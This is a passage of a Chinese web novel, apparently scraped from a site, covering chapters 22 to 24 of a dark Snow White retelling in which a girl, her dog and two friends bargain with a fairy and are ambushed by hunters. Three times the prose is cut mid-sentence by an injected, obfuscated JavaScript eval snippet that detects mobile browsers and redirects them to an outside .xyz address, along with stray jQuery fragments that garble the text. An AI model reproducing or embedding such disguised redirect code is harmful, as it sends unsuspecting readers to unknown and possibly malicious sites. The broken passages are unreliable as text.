林清原给他俩解释:“比利说,它在被吸进来之后,遭到了围杀,是仙女救了它,把对它不好的人都杀了。后来它和同在‘故事’里的人一起探索,但大家逐渐都死了,只剩它一个了。最后它没法出去,就留下当了仙女的使者。也正是因此,才有了更强壮的力量,现在的它,不再是普通的狗狗了,它是只看似普通、实则力大无穷的狗狗。” 白仙贝佩服极了:“好、好厉害的解读。” 成柳看看抱在一起的一人一狗,又看看已经涌起泪花的白仙贝:“好像有很多话想说,但我又不知道怎么说……这一切都是合理的吗…?” 林清原抱住自家狗狗,仔细摸了摸它的身体,确认道:“确实能摸出很强壮的肌肉。”她话锋一转:“不过还是吃胖了不少,回去后还是要增加训练量。你年龄不小了,不用长个了,继续长肌肉吧。” 比利“呜呜汪汪”地反对,但在场的其他人都听不懂它的话,所以话语权还是在林清原手上。 成柳终于反应过来刚才比利演的那一幕表演:“等等,比利的意思是,这个‘故事’不是第一次了?只是上一次,没人能通关,所以这次再次开启了?” 林清原疯狂揉搓着比利的狗头。 “看来是这样。我说怎么魔镜说上次就见过比利了,原来是因为你一直在这个‘故事’里。还好这次我进来了。我一定会把你一起带出去的。” 白仙贝正感动地看着眼前温馨的一幕,突然感觉有什么温热的东西贴在了身边。她扭头一看,是只小鹿。 再一看,周围已经不知何时,围了一圈动物。 小动物们试探地靠过来,又在几人注意到自己后惊慌地逃开。过了一会儿,发现没有危险,又围了上来。 有小鸟落在比利的头顶,叽叽喳喳地唱歌;小松鼠们嗑着松果,和小兔子们玩闹。 朝阳透过树林,照在土地上,唤醒清晨的生机。 成柳抬头望向天空:“天亮了。” 他转头看着这幅“人与自然”的和谐场景,感觉很熟悉。 “我好像在哪看过这个场面。” 林清原说:“动画版的《白雪公主》嘛。” 她看向白仙贝:“有这个新晋‘白雪公主’在,小动物自然就聚集过来了。” 白仙贝摆摆手:“要说吸引来小动物的,应该是比利才对。” 成柳笑道:“好嘛,原来比利才是公主啊。” 林清原看着和小动物们玩在一起的比利,思考道:“这么一看,感觉比利好像也很适合穿裙子。回去了可以试试,老妈老早就想给它买裙子了。” 正在玩着的比利似有所感,警惕地望过来,但林清原话已经说完,在调试剑袋了。 林清原把剑背好,试了几个姿势,确保自己可以快速拔剑做出应对。 白仙贝在一旁鼓掌:“小鹤好帅!” 成柳也赞同:“确实帅。清原老大也会用剑吗?” 林清原把剑放了回去。 “不会。”她想到了一个人。“但是回去之后可以学一学。” 几人重新上路,这回不再只有黑夜的森林相伴,而是有一大群动物朋友跟着,有温暖的阳光随着。 一路上,有越来越多的动物听到动静,好奇地出现,又好奇地加入。 最后到达仙女的小屋的时候,已经是个颇为庞大的队伍了。 比利“汪汪”叫门。 门开了,出来的仙女令几人都比较意外。 在他们的认知中,“仙女”应该是个年轻貌美的姑娘,然而出现在他们面前的,是一个有些微胖的、脸上已经有了皱纹的女人,她的五官称不上漂亮,也称不上不漂亮,单看很和谐,但合在一起却有些说不上的奇怪。 最引人注目的,是她背后的那双翅膀——双翅的、闪亮亮的、美丽的——这是她全身上下最符合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502689|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “仙女特征”的地方了。 仙女看到摇尾巴的比利,很是高兴。她弯下身子,轻轻抚摸着狗狗。 “早上好小可爱,一路上没遇到什么麻烦吧?” 她注意到了几人:“哦呀,你们是……” 比利“汪汪”了几声,仙女就听懂了。 她含笑看着为首的林清原,说:“原来你就是比利一直说的小主人。真是令人意外的惊喜啊。欢迎你们的到来。” 她把几人请到屋内,倒上热茶,摆出甜点。她给比利也拿了一堆吃的。 “不用客气。屋内也还有房间,如果想休息,请自便。” 她说完,就拿着几块面包出了门,掰碎了喂给玩耍的动物们。 白仙贝稍微安心了:“还好,仙女看上去是好人。我本来还有些担心呢。” 成柳说:“嗯,不过还是要注意一些,毕竟和王后做了交易的,就是她。” 林清原尝了口小蛋糕,好吃。然后把奶油挑走,把里面的蛋糕胚喂给比利。 比利吃的很香。 林清原说:“也不用太担心啦。最起码她救下了比利,这就够了。而且比利对她的印象很好。比利可不是对谁都这么亲切的。” 两人点点头。 仙女喂完动物们,从门外进来了。 她笑着招来比利,从它头上取下花冠,从里面取出了存取。 装血的杯盏,和用一袋用金线缝制的袋子装着的饼干。 她拿起饼干闻了闻,惊喜道:“这袋饼干用的麦子很好啊。” 她从橱柜里取出一个小盘子,将饼干倒出来,放到桌上,然后把金线袋收了起来。 林清原拿起饼干吃了一块,确实很好吃。 比利走过去,告诉仙女“侍女”的事。 仙女点点头:“原来是这样。那侍女的事就先算了,本来也只是想找一个适合干活的少女罢了。” 白仙贝问:“是需要做什么吗?我可以帮忙。” 仙女看了看白仙贝,思考着什么,没有说话。 林清原打开包裹,露出里面装着的一大堆魔力花。 “侍女的事我很抱歉,为了表达歉意,我把魔镜的魔力花带来了,如果您喜欢的话,就拿去吧。” 仙女眼前一亮,爽朗地笑着:“我说一直闻到的魔力香味是什么,原来是魔镜的花。那就没有问题了,有这些花就足够了。你们可以随意休息,不用帮我做什么。” 她拿起一朵魔力花,陶醉地闻了一口。 “啊,这香味。没错,就是魔镜的味道。” 她走进房间,拿出一个大盒子,将魔力花珍惜地一朵朵放了进去。 成柳拉住白仙贝的手,凑在她耳边悄声说:“别随便帮忙,尤其你在这里的身份是‘白雪公主’,仙女收集血液,不清楚什么情况,就不要先提出把柄。” 白仙贝忍住痒意听完了诫告。 她点点头,伸手揉了揉耳朵,满脸通红。 装完魔力花的仙女心满意足地出来了。 她坐在另一把椅子上,看着乖乖蹲在林清原腿边的比利,笑着说: “比利很聪明,也很能干。从它来到我这之后,当了两次使者了,每次都做的很好呢。” 比利愉快地叫了两声。 林清原笑着道谢:“比利确实很聪明。我和它分别后,也一直在担心它,结果这次见面了,发现它比之前吃胖多了,看来您对它很好。非常感谢您对它的照顾。” 比利不满地咬了咬林清原的衣角。 又说我胖! 仙女忍不住笑了几声:“其实我也觉得比利比刚来的时候胖了一些。” 比利听仙女都这么说,顿时气鼓鼓地走到了一旁,继续大口吃着美食。 化愤怒为食欲! 仙女看向白仙贝,表情温柔:“你就是新的‘白雪公主’吧。公主还是一如既往的漂亮。” 白仙贝微微一笑,回答的很谨慎:“我从王宫里离开后,就不再是公主了。” 林清原说了他们此行的来意:“我们这次前来,是为了寻找真正的‘白雪公主’的。” 她单刀直入:“我们听说王后和您做了交易,是和真正的‘白雪公主’有关的。 “可以请您告诉我,真正的‘白雪公主’在哪吗?” 22. 故事脉络 这个故事要从很久以前说起。 二十年前,原王后病逝,国王很快娶了新的王后。 新的王后美丽、冷酷,她不仅有自己强大的母国,还有随身携带的魔镜。 没人知道魔镜从何而来,它的存在是个秘密。但略微知晓这个秘密的人,也只知道一点:魔镜无所不知。 如果有任何疑问,就去问魔镜,它会给予解答;如果有任何想法,就去问魔镜,它会给予指导。 王后以自己美丽的容貌自得,她是世界上最美的女人。 然而原王后留下的刚刚出生的女儿,成了她的心病。 原王后留下的女儿,其名为“白雪”,她发黑如乌木,肤白胜新雪,唇红若鲜血。 魔镜说:白雪公主将会是世界上最美丽的女人。 或许你以为这只是个简单的嫉妒容貌的故事。 但是,一切并没有这么简单。 魔镜断言:白雪公主在十五岁生日后,将会给王国带来巨变。是毁灭,还是昌盛,皆在一念之间。如果想要改变王国的命运,就去森林,寻找仙女和男巫,从他们那里,可以寻到满意的答案。 于是国王与王后共同来到了森林,他们寻找不到仙女和男巫的踪迹,于是下令让军队踏平森林,这样就可以让里面的居住者无所遁形。 仙女和男巫主动现身,保下了森林,给出了两种方案。 第一种,在白雪公主身上施予祝福,让她在快乐中长大。等她到了十五岁,会成为世界上最美丽的女人,所有男人都会爱上她,哪怕是国王也不例外。在那时,世界上最强大的国家的国王会来到这里,见到白雪公主,娶她做最美丽的王后。这场联姻或许可以给国家带来巨大的利益,不过在这之后的事情的发展,将不再受仙女和男巫的祝福影响,他们不会再给予任何帮助。 第二种,在白雪公主身上施予诅咒,让她在痛苦中长大。痛苦会最大程度的催化诅咒,可以让她在十五岁时,误食下森林中的毒苹果,永久地陷入沉睡。吃下毒苹果的白雪公主,会将诅咒扩散给王国里的每一个新的公主,娶了新公主的国家,都会受到诅咒影响。他们的国家会变得更加强大,但是要保证永远不侵略公主的国家,否则诅咒会变为收割性命的利刃,给他们的国家带去末日。 国王与王后没有思考很久,就选择了第二种。 于是诅咒生效,国王与王后各自付出了不同的代价。 男巫带走了国王所有的儿子;仙女则每月派出使者来到王宫,收取王后的一盏血液,和随机的一些其他东西。 白雪公主在痛苦中长大,她从记事起,就吃不饱、穿不暖、睡不好,每日做着最低贱的奴仆才会做的活计。她的手被冰冷的水泡僵硬,脸被凛冽的冷风吹皲裂,却总是第二天就会恢复如初,显露出她愈发美丽的容貌。 她曾哭泣着询问:为何要这么对我?我可能获得一点点的爱意吗? 但国王与王后置之不理,并对白雪公主身边的人进行了更加严密的选拔。 他们不会给予爱意,也不会允许其他人给予爱意。因为爱意,是破除诅咒的唯一方法。 就这样,白雪公主终于长到了十五岁。 国王早几年便从国内寻来了众多少女,秘密养在王宫,将她们培养成理想中的“白雪公主”的样子,等待真正的白雪公主沉睡后,便可以现于世间,作为诅咒的载体,成为笼络其他国家的代嫁棋子。 然而白雪公主一直没有踏足森林。她依旧有着对自由的向往,但已经被十五年的折磨消去了勇气。 于是王后找来了一个猎人,让他将白雪公主赶入森林,永远不再出来。 猎人误会了王后的意思。 他想将白雪公主杀死,带着她的心脏回去复命。 不过十五岁的白雪公主,已经成为了世界上最美丽的女人。她被猎人赶到森林里后,哭着向他求饶。 猎人一瞬间便爱上了白雪公主。他不忍心再痛下杀手,于是杀了一头野猪,带回了它的心脏。 王后看到心脏,以为白雪公主被杀死,一怒之下,将猎人也下令处死。 王后与国王来到森林,想询问白雪公主死去会对诅咒有什么影响,却得知白雪公主已经吃下了毒苹果,永远沉睡在森林中。 故事的后来,就如最开始设定的那样,一个又一个新的白雪公主嫁了出去,给王国带来了长达二十年的昌盛。如果不出意外,这种昌盛还会永久地持续下去。 听了这个故事的几人都陷入了沉默,比利也不再摇尾巴,它靠在林清原的腿上,表情忧郁。 他们终于了解了整个“故事”的脉络,也终于明白,想要净化这个“故事”,就要破除这个诅咒。 林清原问:“这不是您和男巫与国王他们的交易吗?就这么容易地告诉我们了?” 仙女笑了。她说: “是的,这是交易。既然是交易,那么就不是什么秘密。我可以和他们做交易,自然也可以和其他人做交易。” 几人都听出了仙女的言外之意。 林清原问:“您需要什么?” 仙女的眼睛眯了起来,她很满意几人的上道。 “你们一人给我三盏血,我就告诉你们真正的白雪公主的沉睡地。” 三盏血! 几人对视一眼,有些犹豫。 不是不能给,但是在这种地方,尤其是从一开始就表露出对血液有着浓厚兴趣的仙女,如果将血液真的给了她,会不会带来什么不好的后果? 见状,仙女舔了舔嘴唇,长长的舌头犹如蛇信,说出了更诱惑的话语: “其实白雪公主的沉睡地不是秘密,国王与王后也都知道。但是怎么能真正安全地打开水晶棺,唤醒她,这才是秘密。” 白仙贝问:“水晶棺?是国王和王后做的吗?” 仙女嗤笑一声:“呵,他们会做水晶棺给可怜的白雪公主吗?当然是我和男巫做的。我用水晶制作棺壁,男巫用白骨制作棺架,我们共同为白雪公主打造了一个坚固的水晶棺。 “水晶棺可以保护白雪公主不被风吹雨淋,不被蚊虫叮咬,不被动物啃食。你们见到了就知道了,在水晶棺里的白雪,还是美丽到如同刚刚睡下。” 仙女都这么说了,似乎除了给出血液,也别无办法了。 林清原看着仙女乐呵呵地从屋里拿出三盏新的金杯,有了一个猜想。 她问:“仙女,如果我用财宝来换,是不是可以不用付出血液?” 仙女将金盏放到桌子上,打量了林清原一眼,说:“那要看你能付出多少财宝了。” 林清原拿出装在自己衣服内衬里的珠宝——亮闪闪的,铺了小半张桌子。 仙女眼都直了。 “这是,这是哪来的?” 林清原微微一笑。 还好,她从王宫假扮侍卫出来的时候,把装作给“假扮公主”的胜者的战利品都拿上了。除了从王后房间里顺手拿的首饰,还有她这几天踩点时候顺路搜刮的一些装饰珠宝。都是非常漂亮的东西,她见到了就装起来了,想着或许什么时候能派上用场。 果然现在有用了。 仙女上手摸了摸这些珠宝,各个珠圆玉润,都是好货。 她揽手想全部收走,被林清原拦下了。 “这些,够付我们三个人的血液 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14538929|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗?” 仙女眼珠一转,笑道:“这个嘛,还差点。付你一个人的倒是够了。” 林清原抬眼示意白仙贝,后者从衣衬里掏出了新一批珠宝。 仙女眼睛黏在珠宝上,止不住地发笑:“哈哈哈哈,好,都是好东西!行,公主你也可以付了!” 说完,她就要伸手去拿珠宝。 白仙贝一下把珠宝收了回去。 “我的这些珠宝可是比小鹤的多了将近一倍,怎么光付了我一个人?还有阿柳的。” 仙女盯着成柳的脸仔细看了看,五官都皱在一起,嘴巴却咧着笑了。 “阿柳,原来公主喜欢的是这一类的。这个阿柳,可不简单呐,他身上的诅咒,可比我见过的所有诅咒都要强大。” 还没等成柳询问她诅咒的事情,仙女脸色一变,又恢复了一开始的平和,微微笑着说:“你的珠宝确实比小鹤的多,但是付两个人的血,还不够。” 白仙贝暗自咬牙。 她身上的这些珠宝都是听小鹤的建议,在溜出宫前以公主的名义拿到的,再多的就没有了,毕竟她只当了半天的公主。 本来想着这堆珠宝可以保下两个人,没想到这个仙女这么贪婪,还是不够! 就在这时,比利走上前来,低头把花冠落掉,对着仙女“汪汪”了几声。 仙女很惊讶:“你说,你要以使者的身份为交换,换掉这几人的血液?” 比利蹲坐在地上,仰头看着仙女,表情严肃。 “汪汪。(是的)” 仙女思考了一会儿,做了妥协。 “这样吧,这些珠宝和比利的使者身份可以当做血液的交换。我会告诉你们白雪公主的沉睡地,以及安全打开水晶棺的方法。不过,”她看向成柳,“如果你给我一小杯你的血液,我或许可以找到帮你解除诅咒的办法。” 成柳同意了。他划破手指,将血滴满了一个小银杯。 几人跟着仙女来到一个房间,里面摆满了各种药瓶和试剂。 仙女将成柳的血液小心地倒进小锅里,陶醉地闻了闻,然后往里面加入了不同的药剂和材料。 在等着仙女炼化血液的这段时间,林清原等人交替上楼休息了一会儿,养足了精神。 等到了中午,仙女终于从房间出来了。 她递给成柳一颗非常小的血红色的球:“你身上的诅咒力量是我从未见过的,但我大致知道了怎么破解。这颗血球是用你的血液炼出来的,你随身带着,回去之后多收集一些稀奇的东西。具体是什么我也不知道,我只知道这些材料有四个。如果你找到了正确的材料,血球就会发热发亮。” 成柳小心接过,问:“那找齐材料之后呢?” 仙女咧嘴一笑:“当然是找我来炼化。不过,可能以后咱们再也不会见面了。你回去以后的事,我当然也管不了了。” 在场的人统一地保持了沉默,没有人询问仙女的话外之音。 在一切准备妥当后,三人一狗离开了仙女的小屋,朝着森林深处前进。 临走前,仙女问比利:“你真的不留在我这里了吗?” 比利“呜汪”了两声,头蹭了蹭仙女的腿,然后就毫不留恋地转身,跟在了林清原身边。 仙女看着几人和狗狗的身影远去,还是没忍住叹了口气。 院子里时常会来一些森林里的动物玩耍,这时,有一只猫头鹰见到了伤感的仙女,便飞了过来,凑在了她身边。 仙女从屋里取出一块肉,撕成小条喂给它。 她抚摸了几下猫头鹰,温柔地笑着说:“好吧,可爱的小猫头鹰,那就你来当我的新的使者吧。” 23. 猎人与矮人 几人沿着仙女给的路线前进。 成柳一直闷闷不乐的样子。 林清原和白仙贝几次想张口,又都被尴尬的沉默束住。 最后还是比利打破了这个氛围。 它沿路扯下了一堆野花,叼在嘴里,用头顶了顶成柳的腿。 成柳低头:“给我的?” 他接过后,丝毫不嫌弃口水,边走边编,一会儿这些野花就变成了一顶好看的花冠。 他把花冠戴在比利头上,笑道:“没了仙女的花冠,咱们这有别的花冠给你戴。” 林清原感叹成柳的手巧:“真好看!可惜现在没有手机,不然还能给比利拍几张照。” 白仙贝看看成柳,又看看比利,重复了好几次,成柳终于注意到了,他问:“有什么话想对我说吗?” 白仙贝斟酌话语:“那个……就是,事情都是在往好的方面发展嘛!比利把仙女的花冠还回去了,又获得了你给它编的花冠。就像你的诅咒,虽然仙女没有给出更明确的解决方法,但是现在最起码有希望了嘛!所以要积极地看待事物的发展,以阳光的心态去面对……” 成柳愣了一下,才反应过来白仙贝在说什么。 他失笑:“我挺阳光的啊,没有因为现在无法解决诅咒就难过啊。” 白仙贝不信:“可你明明一路上看着都不开心。” 林清原点头:“对,瞧着可凶了。” 比利也点头:“汪汪。” 成柳挠挠头:“真的没有啊。我只是在思考仙女给的血珠能不能带出去。不过仙女的炼化给了我启发,就算血珠不能带出去,我回去之后也可以自己尝试炼化一个感应珠。” 白仙贝:“所以你真的没有不开心啊?害我担心那么久,一直想问小鹤的问题也不敢问了。” 林清原:“嗯?你要问我什么?” “你是怎么想到用珠宝收买仙女的啊?就算她有很多金器银器,万一人家只是单纯有钱呢?” 成柳说:“是因为饼干袋吧。” 林清原:“没错。你还记不记得,仙女拿出国王给比利的饼干后,把饼干倒了出来,自己把袋子收了起来。” 白仙贝不解:“就这?” 成柳:“饼干袋是用金线缝的,如果是不爱财的人,顶多把袋子放到专门收纳的地方,可仙女是直接放到了自己身上。不过嘛……这也只能说是一点猜测。” 林清原有些不好意思:“嗨呀,主要是,我也喜欢这些亮晶晶的东西。刚去到仙女家里,就发现她家里的摆设都是我喜欢的类型,再一看她把金袋子收身上了,完全是我的想法啊!那照这么推论,用珠宝收买她,应该行得通。” 她握拳轻咳两声:“咳咳,都是经验之谈啦。” 比利嘲笑地吐了个气音。 林清原一扭头,又和比利追闹起来了。 白仙贝紧跟跑着,时刻纠正他们的路线:“等等,别跑远了!是这边!” 成柳在后面跟着,露出一个微笑,满脸欣慰:“孩子们就是活力满满啊。” 在穿过又一片林子后,几人终于到达了目的地。 这是一片花田,各色美丽的花朵争相簇拥着正中央的一口水晶棺,时不时有些小动物造访,给这一幕更添了些生机。 林清原和白仙贝小心翼翼地靠近,成柳离得稍远了些。 见到在棺中躺着的公主,几人的呼吸都是一窒。 太美了。 任何用来形容美丽的词语放在她的身上都不为过,眼睛、鼻子、嘴巴,每一处都挑不出瑕疵,她的比乌木更黑的头发柔顺地绕在身边,衬得她的皮肤比雪更白、更洁净。哪怕隔着水晶棺盖,她的神情也是那么祥和,仿佛刚刚睡下;她的唇色是那么鲜艳,红到像血,引诱着每一个人上前采撷。 比利围着水晶棺嗅了几圈,确定没有危险,才顶了顶愣住的几人。 林清原回神,心有余悸地摸了摸比利。 “还好你是狗,不受人类的美貌影响。” 成柳猛地甩了甩头,才算清醒一些。他是男人,自然受影响更深一些。 白仙贝问:“现在怎么办呢?就算打开棺材,现在好像也没办法唤醒她。” 林清原点点头:“事已至此,先吃饭吧。” 于是几人在周边寻了个干净的地方,打开包裹,拿出从仙女那里带走的干粮,就地吃了起来。 林清原惬意地叹了口气:“这地方风景真棒!在这吃东西,感觉像是在野餐呢。” 她提议:“要不咱们回去之后,抽个时间出去玩吧!搞搞野餐啊,旅游啊什么的。” 白仙贝很赞同:“好耶!野餐!旅游!我哪里都想去玩!”她想了想,问:“你们想去海边玩吗?” 成柳:“海边啊,可以。大家都会游泳吧?” 白仙贝一顿:“啊,我不会游……” 林清原笑着说:“没关系啊,不游泳还有好多其他好玩的呢。而且我会游泳,到时候教你。” 成柳也说:“我也会,清原老大教累了,我可以接班。” 比利也“汪汪”了两声,表示愿意教她游泳,结果被林清原嘲笑了: “就你那狗刨式,还想教贝贝,先练出个蝶泳看看啊。” 一人一狗又拌起嘴来。 成柳:“不是不是,比利可是一只狗啊,它怎么练蝶泳啊?!” 白仙贝摇摇头:“算啦,他俩只是想找个理由吵架罢了,随他们去吧。” 就在这时,一支箭直直地朝林清原射来。 箭的速度飞快,眨眼就到了耳边。 林清原在最后的一瞬间做出反应,反手抽出古剑,横劈箭路,不过时间太短,最终只是让箭偏移了路线,钉在了一旁的树上。 直到看到摇晃的箭尾,白仙贝才意识到有人偷袭。她惊慌地抬头,只见林清原和比利已经向箭的来处奔去,成柳则留下,警惕地挡在面前,防止有下一次袭击。 林清原和比利赶到林子里时,已经不见了袭击者的踪影。 比利低头嗅闻,找到了那抹奇怪的气息,汪叫一声,带着林清原追了过去。 白仙贝紧张地观察着周围,林中静谧,树影微动,如果不是树上钉着的那支箭,刚刚的袭击好像只是错觉。 “阿柳……” 白仙贝小声喊着成柳的名字,往旁边侧走了一点,想去仔细看一下树上的箭。 然而刚踏出步子,她就隐约听到了一声奇怪的声音,随后就感觉自己的脚受了巨大的拉力,带着她整个人向后拖去。 视角倒转,只来得及发出一声惊呼。 成柳急忙回头,看到的就是被一根陷阱绳缠住脚拖走的白仙贝。 他迅速朝着白仙贝消失的地方追去,没一会儿就见到了倒吊在树上的她。 在白仙贝身边,是一个正在捆绑她双手的男人。 男人头戴猎帽,身背猎刀,眼神阴冷地看过来。 成柳只看了一眼,就决定先去制服男人。 男人的实力虽然很强,但是想要制服他,应该不会花太久时间。白仙贝虽然在被倒吊着,但短时间的倒吊不会对身体有太大影响。如果先去救仙贝,万一男人再度偷袭,无疑会增加救援难度。 一瞬间的思考就决定了战术。 成柳向男人奔去。然而他忽略了一点。 既然白仙贝是踏入陷阱才被拖走的,那么很可能会存在更多的陷阱。 不过,陷阱之所以被称为“陷阱”,就是因为它迷惑性够强。 成柳只是往前进了两步,脚下看起来一切正常的土地,便突然塌陷,变成一个大洞。 他在脚下塌陷的那一刻就反应过来想要抓住什么借力逃出,然而没有任何东西能帮助他,他只能无助地抓了几下光滑的壁洞,随后掉入洞中,发出了一声惨叫。 白仙贝在树上大喊:“阿柳!” 虽然她在被倒吊着,但看陷阱洞中的情况看的很清楚。 这不是单纯的深坑,在洞的底部,布满了密密麻麻的尖利木刺,成柳这一落,正好扎了个对穿。 鲜血不断地从成柳身上、嘴中涌出。他看着树上的白仙贝,想张嘴说什么,但发不出声音,只有越来越多的血。 白仙贝哭到快要窒息,加上本身被倒吊着的压迫,她愈发难受。 “啊——” 惊鸟四起。 林清原猛地回头。 她听到了白仙贝的哭叫。 “糟了!调虎离山吗!” 她立马想返回,没想到比利也糟了难。 比利先前在前面循味探路,在收到回去的指令后就立马调转了方向,没想到在路上放的有捕兽夹。 它注意到了捕兽夹,也反应很快地跳到了一旁,只是防一不能防二,就在那个捕兽夹旁边,藏了个更加隐蔽的捕兽夹。 比利一脚踏进了第二个捕兽夹里。 就在林清原被比利分去了注意力时,又一支箭朝她面门射来。 林清原挥剑躲过,扑到比利身边,举起古剑,三两下将捕兽夹砍断了。 捕兽夹很坚固,但比起削铁如泥的神秘古剑,还是差了不止一点。 林清原抬头看向数次偷袭放箭的人——这回他躲在了树上,见被发现了,也丝毫不慌,只挑衅地笑了一下,伸手在脖子处一划—— “你死定了!” 林清原攀住树,便爬了上去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582522|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 另一边,男人见两个人都已经没有威胁,便来到了陷阱洞边,居高临下地看着血肉模糊的成柳,看他已经动弹不得,便嗤笑一声,缓缓走到了白仙贝身边。 他看着哭的上气不接下气的白仙贝,虚情假意地叹了口气,说:“公主啊,这个侍卫就这么好吗?让你甘愿放弃荣华富贵,也要跟他私奔出来?” 他看似惋惜地摇摇头,实际话语里全是幸灾乐祸:“你这一走,国王和王后可是太伤心了。他们特地让我们来带你回去。这个叛贼处理了,另外那个叛贼,我的同伴应该也处理完了。” 他伸手摸上白仙贝的脸:“公主不愧是公主,被倒吊地满脸通红都这么好看,反正国王和王后给出的指令是把你活着带回去,那我稍微玩一玩……” 白仙贝一口咬住了男人想顺着摸去她胸口的手。 男人手一撇,结结实实地甩了白仙贝一个耳光。 “泼妇!都这幅样子了还装什么圣女!” 男人骂骂咧咧地取下猎刀:“既然你不想温柔着玩,那我不介意来点烈的。这身衣服也不用要了,把你送回去的时候,光着也正好!” 说完,他就举起猎刀,要朝白仙贝身上划去。 此时变故突生。 原本被捆住了双手的白仙贝,此时却双手解放,一把抓住了男人的肩膀,一个头槌将其撞得眼前发昏。 正因为这一撞,原本冲着衣服去的猎刀,直接刺中了白仙贝的身体。 白仙贝趁着男人还没反应过来,迅速拔下插在身上的猎刀,冲着男人的脸划去。 男人虽然已经有所反应,但还是猝不及防,被划伤了一只眼睛,惨叫着后退。 白仙贝直接屈身,抓住自己的腿,用猎刀划断捆住脚的绳索,砸落在地。 男人见白仙贝已经自由,也顾不上自己瞎掉的一只眼,举起弓箭就射了过来。 连射四箭,距离够近,顺利射中了三箭。 白仙贝跪坐在地,低下头,鲜血直流。 男人哈哈大笑,就要走上前来抓住她。 当他走近,看似失了意识的白仙贝却突然抬头,一把将猎刀捅进了他的肚子。 男人大骇,捂住肚子疾步后撤,没想到撞到了一具温热的身体上。 他惊惧地扭头,直接被一个环臂扭了脖子。 男人的尸体倒下,露出了站在身后的浑身是血的成柳。 “阿柳!” 白仙贝扑过来,接住脱力倒下的成柳。 成柳的身上逐渐显出黑色符文,渐渐爬满整张脸。在鲜血的映衬下,整个人仿佛是杀人如麻的恶鬼。 成柳咳出一口血,总算能说话了。 他抚上白仙贝的脸,说:“别哭了,快先自愈。咳……我用了能力,还能再撑一会儿,你没有痛觉,说不定还有别的伤处。” 白仙贝把成柳小心地放在地上,边哭边用起能力。 柔和的金光亮起,白仙贝身上的血渐渐止住。她没有再继续自愈,而是开始为成柳治疗。 成柳已经逐渐变成了小孩模样。 好处是,小孩形态的他伤口范围也小了,更好治疗;坏处是,从大人形态变成小孩形态的他,受伤的程度加重了,危险更甚。 就在白仙贝专心给成柳治疗时,从林中的另一侧,突然又钻出来了一个男人。 那个男人同样背着弓箭、带着猎刀。 白仙贝一惊。 难道又有新的追兵了吗! 然而这个新出现的男人,一条胳膊在诡异地折着,身上也挂了很多彩,满脸惊慌,与其说是要进行新一轮追杀,不如说他正在被什么追杀。 白仙贝刚刚看清男人的模样,就见男人身后出现了一个新的身影——她一眼就认出来了,是林清原! 林清原凶神恶煞,怀中抱着虚弱的比利。 男人吓破了胆,冲着白仙贝这边大喊:“人呢!快帮……” 话音未落,一只从远处飞来的镐子贯透了他的头。 几人都被突然飞出的镐子惊到了。 抬头望去,在白仙贝的后方不远处,站了一个小小的人。 ——不是小孩。那是个矮人。 矮人的脸上满是不耐,他怒骂着:“晦气!晦气!” 发红的大鼻子被扭曲的五官一挤,显得更加巨大。 他生气地走上前,拔出男人脑袋里的镐子,血溅了一身也不在意,随手捡起一片落叶擦拭,发现擦不干净,更生气了。 “晦气!太可气了!” 他原地蹦了几下,紧皱着眉头,举起镐子,指了白仙贝,又指了林清原。 “你们这些讨厌鬼!晦气精!是从哪里来的?” 24. 男巫 面对着这么一个脾气暴躁的矮人,林清原等人不敢轻举妄动。 成柳的伤还很严重,白仙贝急着治疗,没空说话,林清原把比利放到她身边后,就举起了双手,尝试和平交流。 “冷静一下,我们是从仙女那来的,来看看白雪公主的情况。” 矮人脚踢了一下猎人的尸体,问:“这两个家伙和你们什么关系?” 林清原赶忙摇头:“没有关系!突然就过来攻击,我们也搞不懂什么情况。” 白仙贝手中的金光开始闪烁,渐渐消失。 她瘫坐在地,看着成柳身上还在不停的流血,忍不住大哭。 “阿柳他伤的好重,他还用了能力,反噬太厉害,我治疗不了了。” 她边哭边尝试重新凝聚力量,但她本身就受了不轻的伤,为了尽快给成柳治伤,她自己的伤势只是简单治疗了一下,血气损耗过大,现在再怎么凝聚,手中的金光也只是闪烁几下就灭掉了。 比利虚弱地哼唧了两声,把林清原心疼坏了,可她也毫无办法,有治疗能力的人只有仙贝一个。 白仙贝不断地尝试着,又不断地失败着,连她原本身上已经简单治疗完毕的伤口都重新迸血了。她浑身都在发抖:“不行……不行,为什么不行!”她连哭喊的声音都快没有了:“我太弱了,谁都保护不了。再这样下去,阿柳和比利都会失血过多的!” 林清原刚想提出回去仙女那里,就听矮人生气地说:“哭什么哭!治疗不了就不治!这么三脚猫的治疗之术,能治好才怪呢!” “晦气!晦气!”矮人骂骂咧咧地扛起已经变小的成柳,扭头对林清原说:“抗上你的那条狗,跟我来。” 白仙贝想拦没拦住:“你要去哪儿?” 